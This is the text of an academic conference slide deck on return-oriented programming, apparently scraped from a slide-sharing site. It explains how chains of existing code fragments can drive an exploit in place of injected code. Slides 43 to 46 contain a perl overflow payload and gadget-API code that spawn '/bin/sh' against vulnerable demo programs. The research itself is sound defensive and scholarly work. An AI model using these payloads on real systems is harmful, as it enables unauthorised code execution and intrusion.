ReCrash: Making crashes reproducible by preserving object states (ECOOP 2008)ReCrash: Making crashes reproducible by preserving object states (ECOOP 2008)
ReCrash: Making crashes reproducible by preserving object states (ECOOP 2008)
 
Buffer overflow – Smashing The Stack
Buffer overflow – Smashing The StackBuffer overflow – Smashing The Stack
Buffer overflow – Smashing The Stack
 
Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacks
 
PHP Deployment With SVN
PHP Deployment With SVNPHP Deployment With SVN
PHP Deployment With SVN
 
Advance ROP Attacks
Advance ROP AttacksAdvance ROP Attacks
Advance ROP Attacks
 
This is a question from Assembly Language for x86 7th Edition by Kip I.docx
This is a question from Assembly Language for x86 7th Edition by Kip I.docxThis is a question from Assembly Language for x86 7th Edition by Kip I.docx
This is a question from Assembly Language for x86 7th Edition by Kip I.docx
 
Deployment With Subversion - Lorna Mitchell
Deployment With Subversion - Lorna MitchellDeployment With Subversion - Lorna Mitchell
Deployment With Subversion - Lorna Mitchell
 

Recently uploaded

Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
The Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfThe Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfSeasiaInfotech2
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticscarlostorres15106
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostLeverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostZilliz
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Manik S Magar
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024The Digital Insurer
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clashcharlottematthew16
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupFlorian Wilhelm
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfRankYa
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Wonjun Hwang
 

Recently uploaded (20)

Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
The Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfThe Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdf
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostLeverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clash
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project Setup
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdf
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
 

Return-Oriented Programming: Exploits Without Code Injection

  • 1. Return-oriented Programming: Exploitation without Code Injection Erik Buchanan, Ryan Roemer, Stefan Savage, Hovav Shacham University of California, San Diego
  • 2. Bad code versus bad behavior “Bad” “Good” behavior behavior Application Attacker code code Problem: this implication is false! 2 Return-oriented Programming: BH2008
  • 3. The Return-oriented programming thesis any sufficiently large program codebase arbitrary attacker computation and behavior, without code injection (in the absence of control-flow integrity) 3 Return-oriented Programming: BH2008
  • 4. Security systems endangered: W-xor-X aka DEP   Linux, OpenBSD, Windows XP SP2, MacOS X   Hardware support: AMD NX bit, Intel XD bit   Trusted computing   Code signing: Xbox   Binary hashing: Tripwire, etc.   … and others   4 Return-oriented Programming: BH2008
  • 6. W-xor-X Industry response to code injection exploits   Marks all writeable locations in a process’ address space   as nonexecutable Deployment: Linux (via PaX patches); OpenBSD;   Windows (since XP SP2); OS X (since 10.5); … Hardware support: Intel “XD” bit, AMD “NX” bit   (and many RISC processors) 6 Return-oriented Programming: BH2008
  • 7. Return-into-libc Divert control flow of exploited program into libc code   system(), printf(), …   No code injection required   Perception of return-into-libc: limited, easy to defeat   Attacker cannot execute arbitrary code   Attacker relies on contents of libc — remove system()?   We show: this perception is false.   7 Return-oriented Programming: BH2008
  • 8. The Return-oriented programming thesis: return-into-libc special case attacker control of stack arbitrary attacker computation and behavior via return-into-libc techniques (given any sufficiently large codebase to draw on) 8 Return-oriented Programming: BH2008
  • 9. Our return-into-libc generalization Gives Turing-complete exploit language   exploits aren’t straight-line limited   Calls no functions at all   can’t be defanged by removing functions like system()   On the x86, uses “found” insn sequences, not code   intentionally placed in libc difficult to defeat with compiler/assembler changes   9 Return-oriented Programming: BH2008
  • 10. Return-oriented programming … connect back to attacker again: … mov i(s), ch decr i while socket not eof read line cmp ch, ‘|’ jnz again jeq pipe … fork, exec named progs … stack: libc: load decr ? cmp jnz ? jeq 10 Return-oriented Programming: BH2008
  • 11. Related Work Return-into-libc: Solar Designer, 1997   Exploitation without code injection   Return-into-libc chaining with retpop: Nergal, 2001   Function returns into another, with or without frame pointer   Register springs, dark spyrit, 1999   Find unintended “jmp %reg” instructions in program text   Borrowed code chunks, Krahmer 2005   Look for short code sequences ending in “ret”   Chain together using “ret”   11 Return-oriented Programming: BH2008
  • 12. Mounting attack Need control of memory around %esp   Rewrite stack:   Buffer overflow on stack   Format string vuln to rewrite stack contents   Move stack:   Overwrite saved frame pointer on stack;   on leave/ret, move %esp to area under attacker control Overflow function pointer to a register spring for %esp:   set or modify %esp from an attacker-controlled register   then return   12 Return-oriented Programming: BH2008
  • 14. Ordinary programming: the machine level insn insn insn insn insn instruction pointer Instruction pointer (%eip) determines which instruction   to fetch & execute Once processor has executed the instruction, it   automatically increments %eip to next instruction Control flow by changing value of %eip   14 Return-oriented Programming: BH2008
  • 15. Return-oriented programming: the machine level insns … ret insns … ret C library insns … ret insns … ret insns … ret stack pointer Stack pointer (%esp) determines which instruction   sequence to fetch & execute Processor doesn’t automatically increment %esp; — but   the “ret” at end of each instruction sequence does 15 Return-oriented Programming: BH2008
  • 16. No-ops C library ret nop nop nop instruction stack pointer pointer No-op instruction does nothing but advance %eip   Return-oriented equivalent:   point to return instruction   advances %esp   Useful in nop sled   16 Return-oriented Programming: BH2008
  • 17. Immediate constants pop %ebx; ret mov $0xdeadbeef, %eax 0xdeadbeef (bb ef be ad de) instruction stack pointer pointer Instructions can encode constants   Return-oriented equivalent:   Store on the stack;   Pop into register to use   17 Return-oriented Programming: BH2008
  • 18. Control flow pop %esp; ret jmp +4 instruction stack pointer pointer Ordinary programming:   (Conditionally) set %eip to new value   Return-oriented equivalent:   (Conditionally) set %esp to new value   18 Return-oriented Programming: BH2008
  • 19. Gadgets: multiple instruction sequences mov (%eax), %ebx; ret pop %eax; ret (word to load) stack pointer Sometimes more than one instruction sequence needed   to encode logical unit Example: load from memory into register:   Load address of source word into %eax   Load memory at (%eax) into %ebx   19 Return-oriented Programming: BH2008
  • 21. Gadget design Testbed: libc-2.3.5.so, Fedora Core 4   Gadgets built from found code sequences:   load-store   arithmetic & logic   control flow   system calls   Challenges:   Code sequences are challenging to use:   short; perform a small unit of work   no standard function prologue/epilogue   haphazard interface, not an ABI   Some convenient instructions not always available (e.g., lahf)   21 Return-oriented Programming: BH2008
  • 22. “The Gadget”: July 1945 22 Return-oriented Programming: BH2008
  • 23. Immediate rotate of memory word roll %cl, 0x017383f8(%ebx) ret 0xdecafbad 0x00000004 pop %ecx pop %edx ret pop %ebx %esp ret 0xdeadbeef + 0x017383f8 23 Return-oriented Programming: BH2008
  • 24. Conditional jumps on the x86 Many instructions set %eflags   But the conditional jump insns perturb %eip, not %esp   Our strategy:   Move flags to general-purpose register   Compute either delta (if flag is 1) or 0 (if flag is 0)   Perturb %esp by the computed amount   24 Return-oriented Programming: BH2008
  • 25. Conditional jump, phase 1: load CF neg %eax %esp ret (As a side effect, neg sets CF if its argument is nonzero) 25 Return-oriented Programming: BH2008
  • 26. Conditional jump, phase 2: store CF to memory movl %ecx, (%edx) ret adc %cl, %cl ret 0x00000000 pop %ecx %esp pop %edx ret (CF goes here) 26 Return-oriented Programming: BH2008
  • 27. Computed jump, phase 3: compute delta-or-zero andl %esi, (%ecx) rolb $0x5d, 0x5e5b6cc4(%ebx) +0x5e5b6cc4 ret Bitwise and with delta (in %esi) pop %ecx pop %ebx esp delta ret pop %esi ret 0xdecafbad 0xdecafbad negl 94(%ebx) pop %edi pop %ebp mov %esi, %esi pop %ebx %esp ret ret 2s-complement negation: 0 becomes 0…0; (CF here) +94 1 becomes 1…1 0xbadc0ded 27 Return-oriented Programming: BH2008
  • 28. Computed jump, phase 4: perturb %esp using computed delta addl (%eax), %esp addb %al, (%eax) addb %cl, 0(%eax) addb %al, (%eax) pop %eax %esp ret ret (perturbation here) 28 Return-oriented Programming: BH2008
  • 30. Finding instruction sequences Any instruction sequence ending in “ret” is useful —   could be part of a gadget Algorithmic problem: recover all sequences of valid   instructions from libc that end in a “ret” insn Idea: at each ret (c3 byte) look back:   are preceding i bytes a valid length-i insn?   recurse from found instructions   Collect instruction sequences in a trie   30 Return-oriented Programming: BH2008
  • 31. Unintended instructions — ecb_crypt()  c7  45  d4  01 movl $0x00000001, -44(%ebp) 00  00   00 add %dh, %bh f7  c7    07  test $0x00000007, %edi  00 movl $0x0F000000, (%edi) 00   00   0f 95 } xchg %ebp, %eax setnzb -61(%ebp) 45 } inc%ebp c3 } ret 31 Return-oriented Programming: BH2008
  • 32. Is return-oriented programming x86-specific? (Spoiler: Answer is no.)
  • 33. Assumptions in original attack Register-memory machine   Gives plentiful opportunities for accessing memory   Register-starved   Multiple sequences likely to operate on same register   Instructions are variable-length, unaligned   More instruction sequences exist in libc   Instructions types not issued by compiler may be available   Unstructured call/ret ABI   Any sequence ending in a return is useful   True on the x86 … not on RISC architectures   33 Return-oriented Programming: BH2008
  • 34. SPARC: the un-x86 Load-store RISC machine   Only a few special instructions access memory   Register-rich   128 registers; 32 available to any given function   All instructions 32 bits long; alignment enforced   No unintended instructions   Highly structured calling convention   Register windows   Stack frames have specific format   34 Return-oriented Programming: BH2008
  • 35. Return-oriented programming on SPARC Use Solaris 10 libc: 1.3 MB   New techniques:   Use instruction sequences that are suffixes of real functions   Dataflow within a gadget:   Use structured dataflow to dovetail with calling convention   Dataflow between gadgets:   Each gadget is memory-memory   Turing-complete computation!   Conjecture: Return-oriented programming likely   possible on every architecture. 35 Return-oriented Programming: BH2008
  • 36. SPARC Architecture Registers Stack Registers:   Low Memory %i[0-7], %l[0-7], %o[0-7] ...   ... ... Register banks and the out 4 ...   local 4 %l, %i 4 save “sliding register window” out 3 in 4 local 3 %l, %i 3 save “call; save”;   out 2 in 3 “ret; restore” local 2 %l, %i 2 save out 1 in 2 local 1 %l, %i 1 save ... in 1 ... ... ... High Memory 36 Return-oriented Programming: BH2008
  • 37. SPARC Architecture Address Storage Low Memory Stack   Top of the stack %sp Saved registers %l[0-7] Frame Ptr: %i6/%fp %sp - %sp+31   Saved registers %i[0-7] %sp+32 - %sp+63 Stack Ptr: %o6/%sp Return struct for next call   %sp+64 - %sp+67 Outgoing arg. 1-5 space for caller %sp+68 - %sp+91 Return Addr: %i7   Outgoing arg. 6+ for caller (variable) %sp+92 - up %sp+ Register save area   Current local variables (variable) %fp- Top of the frame (previous %sp) %fp Prev. saved registers %l[0-7] %fp - %fp+31 Prev. saved registers %i[0-7] %fp+32 - %fp+63 Return struct for current call %fp+64 - %fp+67 Incoming arg. 1-5 space for callee %fp+68 - %fp+91 Incoming arg. 6+ for callee (variable) %fp+92 - up High Memory 37 Return-oriented Programming: BH2008
  • 38. Dataflow strategy Via register   On restore, %i registers become %o registers   First sequence puts output in %i register   Second sequence reads from corresponding %o register   Write into stack frame   On restore, spilled %i, %l registers read from stack   Earlier sequence writes to spill space for later sequence   38 Return-oriented Programming: BH2008
  • 39. Gadget operations implemented Control Flow Memory Math       BA: jump T1 v1 = &v2 v1++       BE: if (v1 == v2): v1 = *v2 v1--       jump T1, *v1 = v2 v1 = -v2       else T2 v1 = v2 + v3   Assignment     BLE: if (v1 <= v2):   v1 = v2 - v3 v1 = Value     jump T1,   Logic v1 = v2     else T2   v1 = v2 & v3 Function Calls     BGE: if (v1 >= v2):   v1 = v2 | v3 call Function     jump T1,   v1 = ~v2   System Calls else T2     v1 = v2 << v3   call syscall with   v1 = v2 >> v3 arguments   39 Return-oriented Programming: BH2008
  • 40. Gadget: Addition v1 = v2 + v3   Inst. Seq. Preset Assembly %l7 = &%i0 ld [%i0], %l6 (+2 Frames ) st %l6, [%l7] m[&%i0] = v2 %i0 = &v2 ret restore %l7 = &%i3 ld [%i0], %l6 (+1 Frame ) st %l6, [%l7] m[&%i3] = v3 %i0 = &v3 ret restore %i0 = v2 (stored ) add %i0, %i3, %i5 %i3 = v3 (stored ) st %i5, [%i4] v1 = v2 + v3 %i4 = &v1 ret restore 40 Return-oriented Programming: BH2008
  • 41. Gadget: Branch Equal Inst. Seq. Preset Assembly %l7 = &%i0 ld [%i0], %l6 (+2 Frames ) st %l6, [%l7] if (v1 == v2): m[&%i0] = v1 %i0 = &v1 ret restore jump T1 %l7 = &%i2 ld [%i0], %l6 (+1 Frame ) st %l6, [%l7] else: m[&%i2] = v2 %i0 = &v2 ret jump T2 restore %i0 = v1 (stored ) cmp %i0, %i2 (v1 == v2) %i2 = v2 (stored ) ret restore if (v1 == v2): %i0 = T2 (NOT EQ) be,a 1 ahead %i0 = T1 %l0 = T1 (EQ) - 1 sub %l0,%l2,%i0 else: %l2 = -1 ret %i0 = T2 restore %i3 = &%i6 st %o0, [%i3] m[&%i6] = %o0 (+1 Frame ) ret restore %i6 = T1 or T2 ret jump T1 or T2 (stored ) restore 41 Return-oriented Programming: BH2008
  • 43. Option 1: Write your own Hand-coded gadget layout   /sh0 /bin (word to zero) linux-x86% ./target `perl + 24 -e ‘print “A”x68, pack(quot;c*”, 0x3e,0x78,0x03,0x03,0x07, lcall %gs:0x10(,0) ret 0x7f,0x02,0x03,0x0b,0x0b, 0x0b,0x0b,0x18,0xff,0xff, 0x4f,0x30,0x7f,0x02,0x03, pop %ecx 0x4f,0x37,0x05,0x03,0xbd, pop %edx ret 0xad,0x06,0x03,0x34,0xff, pop %ebx 0xff,0x4f,0x07,0x7f,0x02, ret add %ch, %al 0x03,0x2c,0xff,0xff,0x4f, ret movl %eax, 24(%edx) 0x30,0xff,0xff,0x4f,0x55, ret 0xd7,0x08,0x03,0x34,0xff, 0x0b0b0b0b 0xff,0x4f,0xad,0xfb,0xca, 0xde,0x2f,0x62,0x69,0x6e, pop %ecx pop %edx 0x2f,0x73,0x68,0x0)'` xor %eax, %eax ret %esp ret sh-3.1$ 43 Return-oriented Programming: BH2008
  • 44. Option 2: Gadget API /* Gadget variable declarations */ g_var_t *num = g_create_var(prog, quot;numquot;); g_var_t *arg0a = g_create_var(prog, quot;arg0aquot;); g_var_t *arg0b = g_create_var(prog, quot;arg0bquot;); g_var_t *arg0Ptr = g_create_var(prog, quot;arg0Ptrquot;); g_var_t *arg1Ptr = g_create_var(prog, quot;arg1Ptrquot;); g_var_t *argvPtr = g_create_var(prog, quot;argvPtrquot;); /* Gadget variable assignments (SYS_execve = 59)*/ g_assign_const(prog, num, 59); g_assign_const(prog, arg0a, strToBytes(quot;/binquot;)); g_assign_const(prog, arg0b, strToBytes(quot;/shquot;)); g_assign_addr( prog, arg0Ptr, arg0a); g_assign_const(prog, arg1Ptr, 0x0); /* Null */ g_assign_addr( prog, argvPtr, arg0Ptr); /* Trap to execve */ g_syscall(prog, num, arg0Ptr, argvPtr, arg1Ptr, NULL, NULL, NULL); 44 Return-oriented Programming: BH2008
  • 45. Gadget API compiler Describe program to attack:   char *vulnApp = quot;./demo-vulnquot;; /* Exec name of vulnerable app. */ /* Offset to %i7 in overflowed frame. int vulnOffset = 336; */ /* Estimate: Number of gadget variables int numVars = 50; */ /* Estimate: Number of inst. seq's (packed) int numSeqs = 100; */ /* Create and Initialize Program *************************************** */ init(prog, (uint32_t) argv[0], vulnApp, vulnOffset, numVars, numSeqs); Compiler creates program to exploit vuln app   Overflow in argv[1]; return-oriented payload in env   Compiler avoids NUL bytes   (7 gadgets, 20 sequences sparc@sparc # ./exploit 336 byte overflow $ 1280 byte payload) 45 Return-oriented Programming: BH2008
  • 46. Option 3: Return-oriented compiler Gives high-level interface to gadget API   Same shellcode as before:   var arg0 = quot;/bin/shquot;; var arg0Ptr = arg0; var arg1Ptr = 0; trap(59, arg0, (arg0Ptr), NULL); 46 Return-oriented Programming: BH2008
  • 47. Return-oriented selection sort — I var i, j, tmp, len = 10; // Pointers var* min, p1, p2, a; // Seed random() srandom(time(0)); // a[10] a = malloc(40); p1 = a; printf((quot;Unsorted Array:nquot;)); for (i = 0; i len; ++i) { // Initialize to small random values *p1 = random() 511; printf((quot;%d, quot;), *p1); // p1++ p1 = p1 + 4; } 47 Return-oriented Programming: BH2008
  • 48. Return-oriented selection sort — II p1 = a; for (i = 0; i (len - 1); ++i) { min = p1; p2 = p1 + 4; for (j = (i + 1); j len; ++j) { if (*p2 *min) { min = p2; } p2 = p2 + 4; // p2++ } // Swap p1 - min tmp = *p1; *p1 = *min; *min = tmp; // p1++ p1 = p1 + 4; } 48 Return-oriented Programming: BH2008
  • 49. Return-oriented selection sort — III p1 = a; printf((quot;nnSorted Array:nquot;)); for (i = 0; i len; ++i) { printf((quot;%d, quot;), *p1); // p1++ p1 = p1 + 4; } printf((quot;nquot;)); // Free Memory free(a); 49 Return-oriented Programming: BH2008
  • 50. Selection sort — compiler output 24 KB payload: 152 gadgets, 381 instruction sequences   No code injection!   sparc@sparc # ./SelectionSort Unsorted Array: 486, 491, 37, 5, 166, 330, 103, 138, 233, 169, Sorted Array: 5, 37, 103, 138, 166, 169, 233, 330, 486, 491, 50 Return-oriented Programming: BH2008
  • 52. Conclusions Code injection is not necessary for arbitrary exploitation   Defenses that distinguish “good code” from “bad code”   are useless Return-oriented programming likely possible on every   architecture, not just x86 Compilers make sophisticated return-oriented exploits   easy to write 52 Return-oriented Programming: BH2008
  • 53. Questions? H. Shacham. “The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86).” In Proceedings of CCS 2007, Oct. 2007. E. Buchanan, R. Roemer, S. Savage, and H. Shacham. “When Good Instructions Go Bad: Generalizing Return-Oriented Programming to RISC.” In Proceedings of CCS 2008, Oct. 2008. To appear. http://cs.ucsd.edu/~hovav/ 53 Return-oriented Programming: BH2008